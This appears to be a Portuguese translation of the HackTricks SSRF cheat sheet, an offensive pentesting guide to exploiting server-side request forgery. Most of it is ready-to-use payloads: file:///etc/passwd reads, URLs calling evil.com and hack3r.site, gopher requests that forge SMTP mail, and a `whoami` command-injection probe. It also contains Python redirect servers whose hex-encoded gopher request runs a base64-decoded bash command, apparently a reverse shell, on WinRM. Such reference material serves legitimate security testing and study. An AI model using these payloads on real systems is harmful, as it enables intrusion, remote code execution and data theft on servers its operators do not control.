hacktricks/pentesting-web/ssrf-server-side-request-forgery
2023-12-25 17:57:12 +00:00
..
cloud-ssrf.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:19:04 +00:00
README.md Translated ['pentesting-web/ssrf-server-side-request-forgery/README.md', 2023-12-25 17:57:12 +00:00
ssrf-vulnerable-platforms.md Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi 2023-12-16 14:29:43 +00:00
url-format-bypass.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:19:04 +00:00

SSRF (Server Side Request Forgery)


Use Trickest para construir e automatizar fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.
Obtenha Acesso Hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Server-side request forgery (também conhecido como SSRF) é uma vulnerabilidade de segurança web que permite a um atacante induzir a aplicação do lado do servidor a fazer requisições HTTP para um domínio arbitrário de escolha do atacante. (De aqui)

Capturar SSRF

A primeira coisa que você precisa fazer é capturar uma interação SSRF provocada por você. Para capturar uma interação HTTP ou DNS, você pode usar ferramentas como:

Bypass de Domínios na Lista Branca

Geralmente você encontrará que o SSRF só está funcionando em certos domínios na lista branca ou URL. Na página a seguir, você tem uma compilação de técnicas para tentar burlar essa lista branca:

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Bypass via redirecionamento aberto

Se o servidor estiver corretamente protegido, você poderá burlar todas as restrições explorando um Redirecionamento Aberto dentro da página web. Como a página web permitirá SSRF para o mesmo domínio e provavelmente seguirá redirecionamentos, você pode explorar o Redirecionamento Aberto para fazer o servidor acessar qualquer recurso interno.
Leia mais aqui: https://portswigger.net/web-security/ssrf

Protocolos

file://

file:///etc/passwd

dict://

O esquema de URL DICT é usado para se referir a definições ou listas de palavras disponíveis usando o protocolo DICT:

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SFTP://

Um protocolo de rede usado para transferência segura de arquivos sobre secure shell

ssrf.php?url=sftp://evil.com:11111/

TFTP://

Trivial File Transfer Protocol, funciona sobre UDP

ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

LDAP://

Lightweight Directory Access Protocol. É um protocolo de aplicação usado em uma rede IP para gerenciar e acessar o serviço de diretório distribuído de informações.

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher://

Usando este protocolo, você pode especificar o IP, porta e bytes que deseja que o servidor envie. Então, você pode basicamente explorar um SSRF para comunicar com qualquer servidor TCP (mas você precisa saber como falar com o serviço primeiro).
Felizmente, você pode usar Gopherus para criar payloads para vários serviços. Além disso, remote-method-guesser pode ser usado para criar payloads gopher para serviços Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Conexão reversa para 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

SMTP

De https://twitter.com/har1sec/status/1182255952055164929:
1. conectar com SSRF no smtp localhost:25
2. da primeira linha obter o nome de domínio interno 220 http://blabla.internaldomain.com ESMTP Sendmail
3. pesquisar http://internaldomain.com no github, encontrar subdomínios
4. conectar

Curl URL globbing - WAF bypass

Se o SSRF for executado pelo curl, o curl tem um recurso chamado URL globbing que pode ser útil para contornar WAFs. Por exemplo, neste relato você pode encontrar este exemplo para um path traversal via protocolo file:

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}

Captura de Requisições SSRF

SSRF via cabeçalho Referrer

Algumas aplicações utilizam software de análise do lado do servidor que rastreia visitantes. Este software frequentemente registra o cabeçalho Referrer nas solicitações, uma vez que isso é de particular interesse para o rastreamento de links de entrada. Muitas vezes, o software de análise realmente visita qualquer URL de terceiros que apareça no cabeçalho Referrer. Isso é tipicamente feito para analisar o conteúdo dos sites de referência, incluindo o texto âncora que é usado nos links de entrada. Como resultado, o cabeçalho Referer frequentemente representa uma superfície de ataque produtiva para vulnerabilidades SSRF.
Para descobrir esse tipo de vulnerabilidades "ocultas", você poderia usar o plugin "Collaborator Everywhere" do Burp.

SSRF via dados SNI de certificado

A configuração mais simples que permitiria conectar-se a um backend arbitrário seria algo assim:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Aqui, o valor do campo SNI é usado diretamente como o endereço do backend.

Com essa configuração insegura, podemos explorar a vulnerabilidade SSRF simplesmente especificando o IP desejado ou nome de domínio no campo SNI. Por exemplo, o seguinte comando forçaria o Nginx a se conectar a internal.host.com:

openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf

Upload de arquivo com Wget

SSRF com Injeção de Comando

Pode valer a pena tentar um payload como: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Renderização de PDFs

Se a página web está criando automaticamente um PDF com algumas informações que você forneceu, você pode inserir algum JS que será executado pelo próprio criador do PDF (o servidor) enquanto cria o PDF e você poderá abusar de um SSRF. Encontre mais informações aqui.

De SSRF para DoS

Crie várias sessões e tente baixar arquivos pesados explorando o SSRF das sessões.

Funções PHP de SSRF

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

SSRF Redirecionando para Gopher

Para algumas explorações, você pode precisar enviar uma resposta de redirecionamento (potencialmente para usar um protocolo diferente como gopher). Aqui você tem diferentes códigos python para responder com um redirecionamento:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)


Use Trickest para construir e automatizar fluxos de trabalho facilmente, com ferramentas comunitárias mais avançadas do mundo.
Obtenha Acesso Hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

DNS Rebidding CORS/SOP bypass

Se você está tendo problemas para exfiltrar conteúdo de um IP local por causa de CORS/SOP, DNS Rebidding pode ser usado para contornar essa limitação:

{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}

DNS Rebidding Automatizado

Singularity of Origin é uma ferramenta para realizar ataques de DNS rebinding. Inclui os componentes necessários para reassociar o endereço IP do nome do servidor DNS do atacante para o endereço IP da máquina alvo e para servir cargas de ataque para explorar software vulnerável na máquina alvo.

Confira também o servidor público em execução em http://rebind.it/singularity.html****

DNS Rebidding + TLS Session ID/Session ticket

Requisitos:

  • SSRF
  • Sessões TLS de saída
  • Coisas em portas locais

Ataque:

  1. Peça ao usuário/bot acesso a um domínio controlado pelo atacante
  2. O TTL do DNS é 0 seg (então a vítima verificará o IP do domínio novamente em breve)
  3. Uma conexão TLS é criada entre a vítima e o domínio do atacante. O atacante introduz o payload dentro do Session ID ou Session Ticket.
  4. O domínio iniciará um loop infinito de redirecionamentos contra si mesmo. O objetivo disso é fazer o usuário/bot acessar o domínio até que ele realize novamente uma solicitação DNS do domínio.
  5. Na solicitação DNS, um endereço IP privado é fornecido agora (127.0.0.1, por exemplo)
  6. O usuário/bot tentará restabelecer a conexão TLS e, para isso, enviará o ID da Sessão/Ticket ID (onde o payload do atacante estava contido). Então parabéns, você conseguiu fazer o usuário/bot atacar a si mesmo.

Note que durante esse ataque, se você quiser atacar localhost:11211 (memcache), você precisa fazer a vítima estabelecer a conexão inicial com www.attacker.com:11211 (o porto deve ser sempre o mesmo).
Para realizar este ataque, você pode usar a ferramenta: https://github.com/jmdx/TLS-poison/
Para mais informações, veja a palestra onde este ataque é explicado: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

A diferença entre um SSRF cego e um não cego é que no cego você não pode ver a resposta da solicitação SSRF. Então, é mais difícil de explorar porque você só poderá explorar vulnerabilidades bem conhecidas.

SSRF baseado em tempo

Verificando o tempo das respostas do servidor, pode ser possível saber se um recurso existe ou não (talvez leve mais tempo acessando um recurso existente do que um que não existe)

Exploração de SSRF em Nuvem

Se você encontrar uma vulnerabilidade SSRF em uma máquina rodando dentro de um ambiente de nuvem, você pode ser capaz de obter informações interessantes sobre o ambiente de nuvem e até credenciais:

{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}

Plataformas Vulneráveis a SSRF

Várias plataformas conhecidas contêm ou continham vulnerabilidades SSRF, confira-as em:

{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}

Ferramentas

SSRFMap

Ferramenta para detectar e explorar vulnerabilidades SSRF

Gopherus

Esta ferramenta gera payloads Gopher para:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser é um scanner de vulnerabilidade Java RMI que suporta operações de ataque para as vulnerabilidades Java RMI mais comuns. A maioria das operações disponíveis suporta a opção --ssrf, para gerar um payload SSRF para a operação solicitada. Juntamente com a opção --gopher, payloads gopher prontos para uso podem ser gerados diretamente.

SSRF Proxy

SSRF Proxy é um servidor proxy HTTP multi-thread projetado para tunelar o tráfego HTTP do cliente através de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF).

Para praticar

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Use Trickest para construir e automatizar fluxos de trabalho facilmente, com ferramentas comunitárias mais avançadas do mundo.
Obtenha Acesso Hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}